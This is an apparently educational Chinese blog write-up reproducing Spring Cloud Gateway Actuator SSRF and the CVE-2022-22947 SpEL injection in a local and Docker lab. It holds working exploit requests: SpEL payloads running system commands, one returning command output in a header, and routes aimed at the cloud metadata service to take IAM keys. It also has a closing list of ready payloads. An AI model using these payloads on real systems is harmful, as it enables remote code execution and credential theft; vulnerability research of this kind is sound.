CVE-2022-22947 的起因是作者 @WyattBring Your Own SSRF – The Gateway Actuator 一文中提及到利用 Spring Cloud Gateway Actuator 构造 SSRF,之后该作者利用发现的暴露的 Actuator 执行器,在 CVE-2022-22947: SpEL Casting and Evil Beans 中讲到: /actuator/gateway/routes/创建路由并在 filters字段插入一个 SpEL 表达式,Spring Cloud Gateway 在处理过滤器时会执行该表达式,通过构造恶意 SpEL 可实现 RCE。

先来学习一下这篇文章:Bring Your Own SSRF – The Gateway Actuator

一、利用 Spring Cloud Gateway Actuator 创建一个自己的 SSRF 入口。

1.1 Spring Cloud Gateway 介绍

参考:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gateway-starter

1.1.1 简介

Spring Cloud Gateway 是 Spring 提供的 API 网关,用来为微服务架构提供一种简单、有效、统一的 API 路由管理方式:

  • 统一入口(所有请求先经过网关)
  • 路由转发(把请求转发到不同微服务)
  • 过滤器链(鉴权、限流、日志、修改请求/响应等)
  • 负载均衡(结合 Spring Cloud LoadBalancer)
  • 统一监控(Actuator、指标、健康检查等)

img

1.1.2 三个核心

Route 路由

网关的基本组成部分,由一个标识符、一个目标 URL、一组谓词以及一组过滤器来定义

Predicate 断言

Predicate: This is a Java 8 Function Predicate. The input type is a Spring FrameworkServerWebExchange. This lets you match on anything from the HTTP request, such as headers or parameters.

谓词说明:这是一个 Java 8 函数谓词。其输入类型为 Spring 框架的 ServerWebExchange。它允许您根据 HTTP 请求中的任何内容进行匹配,例如头信息或参数。

简单来说就是判断是否命中路由。

Filter 过滤器

Filter: These are instances of GatewayFilter that have been constructed with a specific factory. Here, you can modify requests and responses before or after sending the downstream request.

过滤器:这些是通过特定工厂构建的 GatewayFilter 实例。在此,您可以在发送下游请求之前或之后对请求和响应进行修改。

过滤器在转发前后的做处理

1.2.3 调用链

首先找到入口:

源码位置:

text
1
*org\springframework\spring-web\5.3.23\spring-web-5.3.23-sources.jar!\org\springframework\web\server\WebHandler.java*

WebFlux 接收 HTTP 请求的入口,相当于 Servlet 世界里的 Servlet.service() 方法。

当浏览器访问 http://localhost:9000/user/info(结合下方的 DEMO) 时,Netty 或 Tomcat(WebFlux 默认是 Netty)把请求交给 WebHandler 处理 。

handle将请求封装为 ServerWebExchange,之后执行 filter 的一系列。

img

源码位置:

text
1
*org\springframework\cloud\spring-cloud-gateway-server\3.1.1-SNAPSHOT\spring-cloud-gateway-server-3.1.1-SNAPSHOT.jar!\org\springframework\cloud\gateway\handler\RoutePredicateHandlerMapping.class*

ServerWebExchangeWebHandler传到RoutePredicateHandlerMapping,根据请求 URL 匹配对应的路由,之后返回一个HandlerExecutionChain

源码位置:

text
1
*org.springframework.cloud.gateway.filter.GatewayFilterChain*

GatewayFilterChain 管理所有 GatewayFilter 的执行顺序,每个 Filter 通过链式调用处理请求

img

源码位置:

text
1
*org\springframework\cloud\spring-cloud-gateway-server\3.1.1-SNAPSHOT\spring-cloud-gateway-server-3.1.1-SNAPSHOT.jar!\org\springframework\cloud\gateway\filter\factory\AddRequestHeaderGatewayFilterFactory.class*

在请求被转发到下游服务之前,会给ServerHttpRequest添加一个 HTTPHeader,在本 DEMO 中,它是:AddRequestHeader=token, abc123

img

源码位置:

text
1
*org\springframework\cloud\spring-cloud-gateway-server\3.1.1-SNAPSHOT\spring-cloud-gateway-server-3.1.1-SNAPSHOT.jar!\org\springframework\cloud\gateway\filter\NettyRoutingFilter.class*

NettyRoutingFilter 使用 Reactor Netty HttpClient 将请求异步转发到下游服务(如 user-service),在此过程中,不仅会完成实际的 HTTP 请求调用,还会拷贝原始请求中的所有请求头信息(包括认证 token)以确保上下文的一致性。当从下游服务接收到响应后,该响应会被封装成 ServerWebExchange 对象的形式返回给客户端,这样就实现了从接收请求、转发处理到最终响应的全链路流程。

Gateway 的 NettyRoutingFilter 通过 HttpClient 将请求真正发到:http://localhost:8081/user/info;User-Service 开始解析处理:

在 Spring MVC 的核心控制器,接收 Gateway 转发的 HTTP 请求并分发给对应的 Controller。

java
1
doDispatch(request, response);

HandlerMapping中根据请求路径/user/info找到对应的Controller方法,去调用HandlerMapping.getHandler(request)方法,找到UserController.getUser()方法进行下一步处理。

UserController.getUser()方法呢,会读取 HTTPHeader 中的 token,通过注解@RequestHeadler将请求头注入到方法参数中

DispatcherServlet 底层调用 HttpServletRequest.getHeader("token"),获取请求中的 token header,再封装成 HTTP 响应,返回给 Gateway, 通过 Gateway 访问, UserController返回: token = abc123

DEMO

总的一个思路:

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Gateway:
WebHandler //(WebFlux 接收 HTTP 请求的入口。
-> handle //调用方法
-> handle.RoutePredicateHandlerMapping // 匹配路由 /user/**;匹配成功后,返回一个 HandlerExecutionChain
-> GatewayFilterChain 
-> AddRequestHeaderGatewayFilterFactory 添加 token header
-> NettyRoutingFilter 转发请求
-> HttpClient 调用 user-service 

user-service:
DispathcherServlet
-> HandlerMapping
-> UserController.getUser()
-> request.getHeader("token")
-> return "UserService 返回:token = abc123"
spring-gateway-demo

pom.xml

xml
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
		<!-- Spring Cloud Gateway -->
		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-starter-gateway</artifactId>
		</dependency>
		
		<!-- Actuator(可看路由、调试) -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-actuator</artifactId>
		</dependency>
	</dependencies>

application.yml

yaml
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# 应用服务 WEB 访问端口
server:
  port: 9000

spring:
  cloud:
    gateway:
      #配置路由表(可以有多个路由)
      routes:
        - id: user-service
          #指定该路由的目标服务器地址,路径匹配时,Gateway会将请求转发到 user-service
          uri: http://localhost:8081
          #路由断言,判断什么请求能匹配到这一条路由,这里的意思是:只要路径以 /user/ 开头,都由 Gateway 转发到 8081
          predicates:
            - Path=/user/**
          #配置过滤器,功能:在转发前自动为请求添加一个 Header
          filters:
            - AddRequestHeader=token, abc123

GatewayApplication.java

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package com.src.springgatewaydemo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class GatewayApplication {

    public static void main(String[] args) {
        SpringApplication.run(GatewayApplication.class, args);
    }

}
user-service

UserController.java

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package com.src.userservice.controller;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class UserController {

    //使用 @RequestHeader 从 HTTP 请求头中读取 token,如果请求来自 Gateway 则添加 header -> token = abc123
    @GetMapping("/user/info")
    public String getUser(@RequestHeader(value = "token", required = false) String token) {
        return "UserService 返回:token = " + token;
    }

}

application.yml

yaml
1
2
server:
  port: 8081

UserServiceApplication.java

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package com.src.userservice;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class UserServiceApplication {

    public static void main(String[] args) {
        SpringApplication.run(UserServiceApplication.class, args);
    }

}

pom.xml

xml
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
  <dependencies>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter</artifactId>
    </dependency>

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-test</artifactId>
      <scope>test</scope>
    </dependency>

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
  </dependencies>

先运行 UserService,再运行 Gateway,通过访问 http://127.0.0.1:9000/user/info 返回 token:

img

img

这样就达到了我们的预期结果:

  1. 访问 Gateway (**9000**)
  • Gateway 会自动加上 token=abc123
  • 转发给 user-service
  • user-service 收到 header → 输出 token = abc123
  1. 直接访问 user-service (**8081**)
  • 请求中没有 header
  • user-service 读到 null → 输出 token = null

1.2 /actuator/gateway

本文借用 Bring Your Own SSRF – The Gateway Actuator 一文中的项目https://github.com/wdahlenburg/spring-gateway-demo?tab=readme-ov-file 进行学习

当我们访问 /actuator/gateway 时出现 404 错误,而正常情况,大多数执行器在收到 GET 请求后都会显示其默认内容。

img

查看文档: https://cloud.spring.io/spring-cloud-gateway/reference/html/#recap-the-list-of-all-endpoints

img

根据官方文档,Spring Cloud Gateway 是没有 /actuator/gateway 这个端点的,都是以/actuator/gateway/*** 开头的子路径

接着访问/actuator/gateway/routes

img

分析返回内容:

JSON 中包含俩个路由配置:

route_id = test

route_id = get

html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[
  {
    <!--断言:/test/**;'match trailing slash: true' 表示 /test/abc/也会匹配 /test/abc也匹配-->
    "predicate": "Paths: [/test/**], match trailing slash: true",
    "route_id": "test",
    <!--显示了 Gateway 自动解析后的过滤器,RewritePath 过滤器  -->
    <!--路径重写规则:匹配以 /test 开头的路径,用正则捕获 /test 后面的所有内容为 path,最终路径变成:/test/aaa/bbb 改为 /aaa/bbb -->
    "filters": ["[[RewritePath /test(?<path>.*) = '/${path}'], order = 0]"],
    <!--请求会被代理到 Google,强制使用 https(443)  -->
    "uri": "https://www.google.com:443",
    <!--路由匹配顺序,默认都是 0  -->
    "order": 0
  },
  {
    <!--断言:/get/**  -->
    "predicate": "Paths: [/get/**], match trailing slash: true",
    "route_id": "get",
    <!--AddRequestHeader 过滤器,所有转发到 httpbin.org 的请求,都会自动加一个请求头:X-Gateway-Test: Foo  -->
    "filters": ["[[AddRequestHeader X-Gateway-Test = 'Foo'], order = 0]"],
    "uri": "https://httpbin.org:443",
    "order": 0
  }
]

根据上面的分析,我们知道当请求/get/**时,Gateway 会把请求发送到http://httpbin.org/get

而我们通过 Actuator 查看路由,可以发现隐藏的、可能暴露内部系统的代理的路由,这可能存在安全风险。而 CVE-2022-22947 正是 Gateway 被利用 —— 可以发送 SSRF 请求。

1.3 添加路由

1.3.1

Actuators are primarily intended to provide administrative functionality, so of course the gateway actuator allows you to add and delete routes. As a note, all sensitive actuators should be behind administrative authentication or disabled.

Actuator 本来就提供管理功能,可以查看、修改、刷新系统状态,Spring Cloud Gateway 的 actuator 可以添加和删除路由。如果没有对此项功能进行保护,就会产生漏洞

As an attacker what would it look like if you could add a route to a running application? Well you could route to internal applications. You could route to cloud metadata services and try to obtain credentials. You could re-route active paths on the app to a server you control to obtain cookies, tokens, etc. All of these are possible with the gateway actuator.

如果一个攻击者可以自由添加路由,那么他能做什么?

  1. 路由到内部服务(内网)

添加以下路由:

plain
1
2
3
4
5
6
7
8
9
POST /actuator/gateway/routes/evil
{
  "id": "evil",
  "uri": "http://10.0.0.5:8080",
  "predicates": [{
    "name": "Path",
    "args": { "pattern": "/attack/**" }
  }]
}

访问 /attack/** 就能访问本来不能访问的内网:http://10.0.0.1:8080/admin,SSRF 升级为内网穿透

  1. 访问云环境的 Metadata Service ,窃取云凭证

Metadata Service 元数据服务, 是一个本地伪装的 HTTP 服务,它不在网络里,但是只能被虚机本身访问。例如:169.254.169.254, 这是全球云通用的 Metadata 地址。

元数据服务作用:

  • 提供当前机器是什么实例类型、所在区域、主机名、公网私网 IP 以及分配给该云主机的 IAM 权限临时密钥

在云环境中,服务器本身总是能访问 metadata,通过 SSRF 就可以放服务器访问http://169.254.169.254/latest/meta-data/iam/security-credentials ,这是一个严重漏洞

攻击者添加路由:

plain
1
uri: http://169.254.169.254/latest/meta-data/

然后访问:

plain
1
/aws-keys/iam/security-credentials

即可获取 AWS(云厂商) IAM 临时密钥 —— 相当于瞬间拿下服务器权限。

这是云环境最致命的风险之一。

  1. 劫持路由,把用户流量转向攻击者服务器

比如修改 /login->攻击者服务器,就可以劫持用户信息等。

这相当于攻击者控制了整个后端系统的访问流量。

*当然以上推测的前提是 Actutor Gateway 路由端点对外可访问且没有启用安全保护措施。*

From reviewing the spring-cloud-gateway-server-2.2.10.RELEASE.jar I was able to see that valid routes can be resolved with the http/https, ws/wss, lb, and forward URI schemes. The first two, http/https, enable http requests to be routed. The ws/wss schemes allow for a websocket route to be created. The lb scheme stands for load balancer, which usually are going to be predefined hosts that can be addressed in a route. Finally the forward scheme appears to be used as way of performing a redirect without forcing the client to handle the 301/302 redirect. All other schemes don’t currently resolve unless an extension is added to support additional schemes.

作者通过查看 spring-cloud-gateway-server-2.2.10.RELEASE.jar 文件,了解到有效的路由可以通过 http/https、ws/wss、lb 和 forward URI 方案进行解析

1.3.2 添加 Spring Cloud Gateway route 的 Raw HTTP 请求

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# /actuator/gateway/routes/{id}:这里 {id} = new_route ,创建一个名为 new_route 的路由
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: localhost:9000
Connection: close
Content-Type: application/json

#路由的主体
{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  # 将 /new_route/... 重写为 /...  ,经典的 URL 清洗方式
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  #目标站点(这里是 Wyatt 师傅的站点)
  "uri": "https://wya.pl",
  "order": 0
}

状态码 201, 已经成功创建了新的路由:

img

访问新路由:这时候因为还没有刷新,所以返回 404

plain
1
2
3
GET /new_route HTTP/1.1
Host: localhost:9000
Connection: close

img

传入:发送刷新请求,让服务采用新路由

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:9000
Content-Type: application/json
Connection: close
Content-Length: 230

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
  ],
  "uri": "https://wya.pl",
  "order": 0
}

img

查看路由确认 new_routes 已被添加:

plain
1
2
3
GET /actuator/gateway/routes HTTP/1.1
Host: localhost:9000
Connection: close

img

小插曲,可以跳过

我这里出现一个小错误:

访问路由时返回 500 错误,Gateway 无法与 https://wya.pl 建立连接

报错日志:

img

JDK 1.8.0_65 不信任 wya.pl 网站的 SSL 证书

plain
1
2
3
GET /new_route/ HTTP/1.1
Host: localhost:9000
Connection: close

img

试着换成 JDK 11

又爆了 502 .。。

Cloudflare/WP/某些 nginx 配置可能会拒绝没有 UA 的请求。

img

添加 UA 头:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: localhost:9000
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    },
    {
      "name": "AddRequestHeader",
      "args": {
        "_genkey_0": "User-Agent",
        "_genkey_1": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
      }
    }
  ],
  "uri": "https://wya.pl",
  "order": 0
}

还是不行。

img

最后我把网址换成自己的,可以访问到。

完整的添加路由过程:

  1. 创建路由
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: localhost:9000
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://xvshifu.github.io/",
  "order": 0
}

img

  1. 刷新路由
plain
1
2
3
4
5
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:9000
Content-Type: application/json
Connection: close
Content-Length: 0

img

  1. 查看添加的路由
plain
1
2
3
GET /actuator/gateway/routes HTTP/1.1
Host: localhost:9000
Connection: close

img

  1. 访问路由
plain
1
2
3
GET /new_route/ HTTP/1.1
Host: localhost:9000
Connection: close

img

  1. 清理

完成测试后,为了确保应用程序不会处于不安全的状态,进行清理工作是很有必要的:

plain
1
2
3
DELETE /actuator/gateway/routes/new_route HTTP/1.1
Host: localhost:9000
Connection: close

img

同样的,执行刷新之后才会生效。

plain
1
2
3
4
5
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:9000
Content-Type: application/json
Connection: close
Content-Length: 0

可以看到刚才创建的路径已经不存在了

img

这就是成功得将一条新的路由添加到了程序中,通过使用这个端点我们可以将流量代理到它能够访问的任何服务器上(当然,正如上文中我所遇到的问题, Cloudflare 或者其他的服务器也会对这些流量进行防护、拦截、过滤等),

1.4 总结

Conclusion

The gateway router actuator is pretty powerful. It can allow for users to discover predefined routes along with the ability to add or delete routes. This could lead to cloud metadata keys being taken, internal applications being exposed, or denial of service attacks. Note that any changes made through this actuator are only in memory. Restarting the application will restore the original routes defined by the application.

The documentation from Spring goes a lot more in depth about how it works and some other ways to configure the routes. I encourage you to check out the details here: https://cloud.spring.io/spring-cloud-gateway/reference/html/

I haven’t seen anyone put together the proper requests as most of Spring’s examples are in code. I managed to scrape together enough details by searching Github and looking at the source code in the library. It was really exciting to get this working in a lab and then test it out on a bug bounty target.

This actuator hasn’t been in wordlists or scanners, so I’ve gone ahead and submitted PRs to Dirsearch, Seclists, and Nuclei.

If you’ve had success with this in an engagement or bug bounty I’d love to hear about it. Share what you are able to on Twitter.

Update 1/2/22: I have created a sample application to allow others to test out the gateway actuator here: https://github.com/wdahlenburg/spring-gateway-demo

结论

网关路由器执行器功能强大。它能让用户发现预设的路由,并且具备添加或删除路由的能力。这可能会导致云元数据密钥被获取、内部应用程序被暴露,或者引发拒绝服务攻击。请注意,通过此执行器所做的任何更改都只在内存中。重新启动应用程序将恢复由应用程序定义的原始路由。

Spring 的相关文档对它的工作原理以及一些其他配置路由的方法进行了更深入的阐述。我鼓励您在此处查看详细内容:https://cloud.spring.io/spring-cloud-gateway/reference/html/

我还没见过有人能正确地提出相关请求,因为 Spring 的大多数示例都是以代码形式呈现的。我通过在 Github 上搜索以及查看库中的源代码,总算整理出了足够的细节。在实验室中成功实现这一功能,并随后在漏洞赏金目标上进行测试,这真的让我感到非常兴奋。

这个驱动器尚未出现在词典或扫描器中,所以我已经向 Dirsearch、Seclists 和 Nuclei 提交了 pull 请求。

如果您在参与活动或漏洞赏金项目中取得了成功,我很乐意听您分享相关情况。请在推特上分享您所掌握的详细信息。

更新于 2022 年 1 月 2 日:我已创建了一个示例应用程序,以便其他人能够在此测试网关执行器:https://github.com/wdahlenburg/spring-gateway-demo

总得来说 Spring Cloud Gateway 的 Actuator 功能过强,如果不加以保护,用户就可以直接通过 HTTP POST 添加、修改路由。

二、CVE-2022-22947:SpEL 类型转换与恶意 Beans

作者 Wyatt 在研究 Spring Cloud Gateway Server 的源码时,发现系统内部使用了 SpEL,

SpEL 本身不是漏洞,但有一个基本安全原则:外部输入(用户可控的数据)绝不能直接进入 SpEL 表达式解析器,因为

  • SpEL 能执行方法调用
  • SpEL 能访问 Spring Bean
  • SpEL 甚至可以用来执行任意 Java 代码

那么在配置路由中,就可以给某个参数注入恶意的 JSON:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "id": "evil",
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "regexp": ".*",
        "replacement": "#{T(java.lang.Runtime).getRuntime().exec('calc')}"
      }
    }
  ]
}

replacement 字段被作为 SpEL 处理,执行 getRuntime.exec()。这就是 CVE-2022-22947

3.0.x 和 3.1.x 版本已进行了追溯性修复。

CVE-2022-22947 的影响版本是:

  • 3.0.0
  • 3.1.0
  • 2.2.0 RELEASE ~ 2.2.6.RELEASE

官方已经确认:

2.2.7.RELEASE包含补丁ShortcutConfigurable 已被移除getValue() 不再用 StandardEvaluationContext(禁止 RCE)

漏洞的核心就是 Spring Cloud Gateway 某些 Filter (RewritePath)支持使用 SpEL 表达式 #{ },而 Gateway Actuator 又允许用户动态添加路由,导致攻击者可以把恶意 SpEL 注入 RewritePath 的参数中,从而达到 RCE。

2.1 分析源码

位置:org\springframework\cloud\spring-cloud-gateway-server\**2.2.7.RELEASE**\spring-cloud-gateway-server-2.2.7.RELEASE.jar!\org\springframework\cloud\gateway\support\ShortcutConfigurable.class

img

可以看到 StandardEvaluationContext 上下文,它允许调用或执行任何有效的表达式,StandardEvaluationContext 是完全开放的 SpEL 环境。 如果能控制 getValue 方法的调用,这看起来就是一个潜在的目标。

这是已经修改的源码:

text
1
org\springframework\cloud\spring-cloud-gateway-server\**3.1.1-SNAPSHOT**\spring-cloud-gateway-server-3.1.1-SNAPSHOT.jar!\org\springframework\cloud\gateway\support\ShortcutConfigurable.class

img

text
1
GatewayEvaluationContext context = new GatewayEvaluationContext(beanFactory);

Spring Cloud Gateway 在安全版本中加入了自己的 GatewayEvaluationContext

→ 限制了可用的 SpEL 函数

→ 禁止访问 Runtime、ClassLoader 等危险类

→ 不能执行任意 Java 代码

The ShortcutConfigurable.java file defines an interface. I ended up googling it and came across the Javadocs, which helpfully display the known implementing classes. I started going through them trying to see if there was a place I might have input into.

If you look closely, the RewritePathGatewayFilterFactory class implements the ShortcutConfigurable interface. If you are really paying attention and read my first post on the gateway actuator, then you’d recognize that the RewritePath filter was applied there. That seemed like a wild coincidence.

text
1
org/springframework/cloud/gateway/filter/factory/RewritePathGatewayFilterFactory.java

找到 RewritePathGatewayFilterFactory 中实现了 ShortcutConfigurable ,那就可以通过 actuator 传入 RewritePath 的参数,这些参数会进入 getValue() 方法进行处理,

2.2 复现

2.2.1 本地项目搭建

恶意 HTTP requests:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: localhost:9000
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('calc.exe') == null ? '/bypass' : '/executed'}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://xvshifu.github.io/",
  "order": 0
}

img

刷新路由,弹出计算器:

plain
1
2
3
4
5
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Connection: close
Content-Length: 258

img

查看路由,已经写入了新的路由

plain
1
2
3
GET /actuator/gateway/routes HTTP/1.1
Host: localhost:9000
Connection: close

img

访问路由,虽然是 404 ,但这里实际上是https://xvshifu.github.io/的404页面。

plain
1
2
3
GET /new_route/ HTTP/1.1
Host: localhost:9000
Connection: close

img

img

最后清理一下创建的路由吧:

img

img

2.2.2 使用 docker 项目复现

plain
1
2
3
4
git clone --depth 1 https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22947
docker compose up -d
http://your-ip:8080

启动环境:docker compose up -d

访问:http://192.168.31.16:8080/

img

首先发送数据包添加一个包含恶意 SpEL 表达式的路由:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.31.16:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close 
Content-Type: application/json 
Content-Length: 0

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "https://xvshifu.github.io/"
}

img

然后进行刷新路由:

plain
1
2
3
4
5
6
7
8
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.31.16:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close 
Content-Type: application/json 
Content-Length: 0

img

查看添加的路由结果:

plain
1
2
3
4
5
6
7
8
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.31.16:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close 
Content-Type: application/json 
Content-Length: 0

img

清理现场,删除路由:

plain
1
2
3
4
5
6
7
8
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.31.16:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close 
Content-Type: application/json 
Content-Length: 0

img

plain
1
2
3
4
5
6
7
8
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.31.16:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close 
Content-Type: application/json 
Content-Length: 0

img

img

2.3 分析 exp:

plain
1
2
3
4
5
6
7
8
{
      "name": "RewritePath",
      "args": {
      # SpEL 表达式注入,通过反射调用 Java Runtime 执行系统命令
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('calc.exe') == null ? '/bypass' : '/executed'}",
        "_genkey_1": "/${path}"
      }
    }

通过配置路由将未被过滤的 SpEL 表达式注入到路由中,当网关执行刷新路由配置时,SpEL 表达式被自动解析执行。

text
1
 "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('calc.exe') == null ? '/bypass' : '/executed'}",

->

text
1
String result = T(java.lang.Runtime).getRuntime().exec('calc.exe') == null ? '/bypass' : '/executed';

如果exec()成功,返回一个Process对象,不是null,表达式最终返回字符串"/executed"

如果失败(一般不会失败),返回"/bypass";也就是说 SpEL 返回值始终是有效的字符串路径。

Spring Cloud Gateway 要求 RewritePath 的第1个参数必须是一个字符串正则!

而原作者的 exp 是这样写的:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://wya.pl",
  "order": 0
}
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")}",
exec()` 返回的是:`java.lang.Process 对象

所以无法添加到路由。

当我们改为:

plain
1
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}",

在刷新路由时会弹出计算器,但仍然不会添加到新路由。

这是因为 SpEL 表达式在反序列化路由时就会执行一次,不管最终是否能创建成功

那么原作者为什么要使用不会创建路由的 exp 呢?

真相是:原作者使用的 Spring Cloud Gateway 版本中没有严格校验 RewritePath 的参数类型

2.4 exp:

执行任意命令

Windows

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: localhost:9000
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('calc.exe') == null ? '/bypass' : '/executed'}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://xvshifu.github.io/",
  "order": 0
}
"#{T(java.lang.Runtime).getRuntime().exec('cmd /c whoami') != null ? '/ok' : '/err'}"

Linux

plain
1
2
3
4
#创建文件
"#{T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwn') != null ? '/ok' : '/err'}"
#执行命令
"#{T(java.lang.Runtime).getRuntime().exec('id') != null ? '/ok' : '/err'}"
